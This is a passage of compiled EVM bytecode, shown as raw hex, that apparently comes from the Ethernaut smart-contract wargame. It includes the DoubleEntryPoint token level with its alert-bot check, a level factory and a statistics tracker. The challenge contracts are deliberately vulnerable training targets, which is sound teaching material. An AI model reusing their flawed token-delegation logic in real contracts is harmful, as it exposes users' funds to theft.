220ab6aa9061022090869086908690600401610343565b5f604051808303815f87803b158015610237575f80fd5b505af1925050508015610248575060015b50505050565b80356001600160a01b0381168114610264575f80fd5b919050565b5f60208284031215610279575f80fd5b6102828261024e565b9392505050565b5f805f6040848603121561029b575f80fd5b6102a48461024e565b9250602084013567ffffffffffffffff808211156102c0575f80fd5b818601915086601f8301126102d3575f80fd5b8135818111156102e1575f80fd5b8760208285010111156102f2575f80fd5b6020830194508093505050509250925092565b8082018082111561033d577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b92915050565b6001600160a01b038416815260406020820152816040820152818360608301375f818301606090810191909152601f909201601f191601019291505056fea2646970667358221220eb48eff7002bb43b8acbcdc21f1a5d3fa231d40319163eb712092d93b34c34e364736f6c63430008180033608060405234801561000f575f80fd5b506040516103f33803806103f383398101604081905261002e91610052565b5f80546001600160a01b0319166001600160a01b039290921691909117905561007f565b5f60208284031215610062575f80fd5b81516001600160a01b0381168114610078575f80fd5b9392505050565b6103678061008c5f395ff3fe608060405234801561000f575f80fd5b506004361061004a575f3560e01c80631be195601461004e5780633234a197146100635780636f307dc314610091578063bdb2321f146100a4575b5f80fd5b61006161005c3660046102d9565b6100b7565b005b5f54610075906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b600154610075906001600160a01b031681565b6100616100b23660046102d9565b61022f565b6001546001600160a01b039081169082160361011a5760405162461bcd60e51b815260206004820152601f60248201527f43616e2774207472616e7366657220756e6465726c79696e6720746f6b656e0060448201526064015b60405180910390fd5b5f546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610183573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101a791906102fb565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610207573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022b9190610312565b5050565b6001546001600160a01b0316156102885760405162461bcd60e51b815260206004820152600b60248201527f416c7265616479207365740000000000000000000000000000000000000000006044820152606401610111565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b03811681146102d6575f80fd5b50565b5f602082840312156102e9575f80fd5b81356102f4816102c2565b9392505050565b5f6020828403121561030b575f80fd5b5051919050565b5f60208284031215610322575f80fd5b815180151581146102f4575f80fdfea2646970667358221220f81905746f66adb7c26ee21cad54b550de152f67d81bed95a109f49082102d1d64736f6c63430008180033608060405234801562000010575f80fd5b50604051620013e6380380620013e6833981016040819052620000339162000284565b6040518060400160405280601581526020017f446f75626c65456e747279506f696e74546f6b656e00000000000000000000008152506040518060400160405280600381526020016211115560ea1b81525081600390816200009691906200037b565b506004620000a582826200037b565b505050620000c2620000bc6200012960201b60201c565b6200012d565b600880546001600160a01b038087166001600160a01b03199283161790925560098054858416908316179055600780548484169083161790556006805492861692909116821790556200011f9068056bc75e2d631000006200017e565b505050506200046d565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620001d95760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620001ec919062000447565b90915550506001600160a01b0382165f90815260208190526040812080548392906200021a90849062000447565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b80516001600160a01b03811681146200027f575f80fd5b919050565b5f805f806080858703121562000298575f80fd5b620002a38562000268565b9350620002b36020860162000268565b9250620002c36040860162000268565b9150620002d36060860162000268565b905092959194509250565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200030757607f821691505b6020821081036200032657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200026357805f5260205f20601f840160051c81016020851015620003535750805b601f840160051c820191505b8181101562000374575f81556001016200035f565b5050505050565b81516001600160401b03811115620003975762000397620002de565b620003af81620003a88454620002f2565b846200032c565b602080601f831160018114620003e5575f8415620003cd5750858301515b5f19600386901b1c1916600185901b1785556200043f565b5f85815260208120601f198616915b828110156200041557888601518255948401946001909101908401620003f4565b50858210156200043357878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200046757634e487b7160e01b5f52601160045260245ffd5b92915050565b610f6b806200047b5f395ff3fe608060405234801561000f575f80fd5b5060043610610149575f3560e01c8063715018a6116100c7578063a9059cbb1161007d578063d8670e1f11610063578063d8670e1f146102aa578063dd62ed3e146102bd578063f2fde38b146102f5575f80fd5b8063a9059cbb14610284578063d444d8a014610297575f80fd5b806395d89b41116100ad57806395d89b41146102565780639cd1a1211461025e578063a457c2d714610271575f80fd5b8063715018a61461023b5780638da5cb5b14610245575f80fd5b806326fe99511161011c578063395093511161010257806339509351146101ed57806348db5f891461020057806370a0823114610213575f80fd5b806326fe9951146101b3578063313ce567146101de575f80fd5b806306fdde031461014d578063095ea7b31461016b57806318160ddd1461018e57806323b872dd146101a0575b5f80fd5b610155610308565b6040516101629190610d0e565b60405180910390f35b61017e610179366004610d6e565b610398565b6040519015158152602001610162565b6002545b604051908152602001610162565b61017e6101ae366004610d98565b6103b1565b6008546101c6906001600160a01b031681565b6040516001600160a01b039091168152602001610162565b60405160128152602001610162565b61017e6101fb366004610d6e565b6103d4565b6007546101c6906001600160a01b031681565b610192610221366004610dd6565b6001600160a01b03165f9081526020819052604090205490565b610243610412565b005b6005546001600160a01b03166101c6565b610155610425565b61017e61026c366004610df8565b610434565b61017e61027f366004610d6e565b610709565b61017e610292366004610d6e565b6107b2565b6006546101c6906001600160a01b031681565b6009546101c6906001600160a01b031681565b6101926102cb366004610e37565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610243610303366004610dd6565b6107bf565b60606003805461031790610e6e565b80601f016020809104026020016040519081016040528092919081815260200182805461034390610e6e565b801561038e5780601f106103655761010080835404028352916020019161038e565b820191905f5260205f20905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b5f336103a581858561084f565b60019150505b92915050565b5f336103be8582856109a6565b6103c9858585610a36565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091906103a5908290869061040d908790610ea6565b61084f565b61041a610c4b565b6104235f610ca5565b565b60606004805461031790610e6e565b6008545f906001600160a01b031633146104955760405162461bcd60e51b815260206004820152601360248201527f4e6f74206c656761637920636f6e74726163740000000000000000000000000060448201526064015b60405180910390fd5b6009546007546040517f9e1083ca0000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f929190911690639e1083ca90602401602060405180830381865afa1580156104fc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105209190610ec5565b6009546040516306e3817d60e51b81526001600160a01b0380841660048301529293505f929091169063dc702fa090602401602060405180830381865afa15801561056d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105919190610ee0565b6009546007546040517ffa1fd28c0000000000000000000000000000000000000000000000000000000081529293506001600160a01b039182169263fa1fd28c926105e49216905f903690600401610ef7565b5f604051808303815f87803b1580156105fb575f80fd5b505af115801561060d573d5f803e3d5ffd5b5050505061061c848787610a36565b6009546040516306e3817d60e51b81526001600160a01b038481166004830152600195508392169063dc702fa090602401602060405180830381865afa158015610668573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068c9190610ee0565b11156107005760405162461bcd60e51b815260206004820152602360248201527f416c65727420686173206265656e207472696767657265642c2072657665727460448201527f696e670000000000000000000000000000000000000000000000000000000000606482015260840161048c565b50509392505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156107a55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f000000000000000000000000000000000000000000000000000000606482015260840161048c565b6103c9828686840361084f565b5f336103a5818585610a36565b6107c7610c4b565b6001600160a01b0381166108435760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161048c565b61084c81610ca5565b50565b6001600160a01b0383166108ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b0382166109465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610a305781811015610a235760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161048c565b610a30848484840361084f565b50505050565b6001600160a01b038316610ab25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038216610b2e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b0383165f9081526020819052604090205481811015610bbc5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610bf2908490610ea6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3e91815260200190565b60405180910390a3610a30565b6005546001600160a01b031633146104235760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161048c565b600580546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f602080835283518060208501525f5b81811015610d3a57858101830151858201604001528201610d1e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461084c575f80fd5b5f8060408385031215610d7f575f80fd5b8235610d8a81610d5a565b946020939093013593505050565b5f805f60608486031215610daa575f80fd5b8335610db581610d5a565b92506020840135610dc581610d5a565b929592945050506040919091013590565b5f60208284031215610de6575f80fd5b8135610df181610d5a565b9392505050565b5f805f60608486031215610e0a575f80fd5b8335610e1581610d5a565b9250602084013591506040840135610e2c81610d5a565b809150509250925092565b5f8060408385031215610e48575f80fd5b8235610e5381610d5a565b91506020830135610e6381610d5a565b809150509250929050565b600181811c90821680610e8257607f821691505b602082108103610ea057634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156103ab57634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610ed5575f80fd5b8151610df181610d5a565b5f60208284031215610ef0575f80fd5b5051919050565b6001600160a01b038416815260406020820152816040820152818360608301375f818301606090810191909152601f909201601f191601019291505056fea26469706673582212202f75fc0f92bf3432056d019fa2a6372c4f9af5d411bdc0f55ec08ce180024a0b64736f6c63430008180033a26469706673582212205de16f4bda6c4ef2e9c5bf83ba968da9d5f6d2d3ffd4ecab539b69ffbe1e0d2664736f6c63430008180033608060405234801561000f575f80fd5b506040516102b43803806102b483398101604081905261002e91610052565b5f80546001600160a01b0319166001600160a01b039290921691909117905561007f565b5f60208284031215610062575f80fd5b81516001600160a01b0381168114610078575f80fd5b9392505050565b6102288061008c5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c8063220ab6aa14610038578063f11476bc1461004d575b5f80fd5b61004b610046366004610169565b61007b565b005b5f5461005f906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f546001600160a01b031633146100f2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e617574686f72697a65640000000000000000000000000000000000000000604482015260640160405180910390fd5b5f546040517f087a43c10000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529091169063087a43c1906024015f604051808303815f87803b15801561014e575f80fd5b505af1158015610160573d5f803e3d5ffd5b50505050505050565b5f805f6040848603121561017b575f80fd5b83356001600160a01b0381168114610191575f80fd5b9250602084013567ffffffffffffffff808211156101ad575f80fd5b818601915086601f8301126101c0575f80fd5b8135818111156101ce575f80fd5b8760208285010111156101df575f80fd5b602083019450809350505050925092509256fea2646970667358221220e197111a722357f1cdb93cc1c19c940ae81ed166792fd9e6567f3f624a23e80c64736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b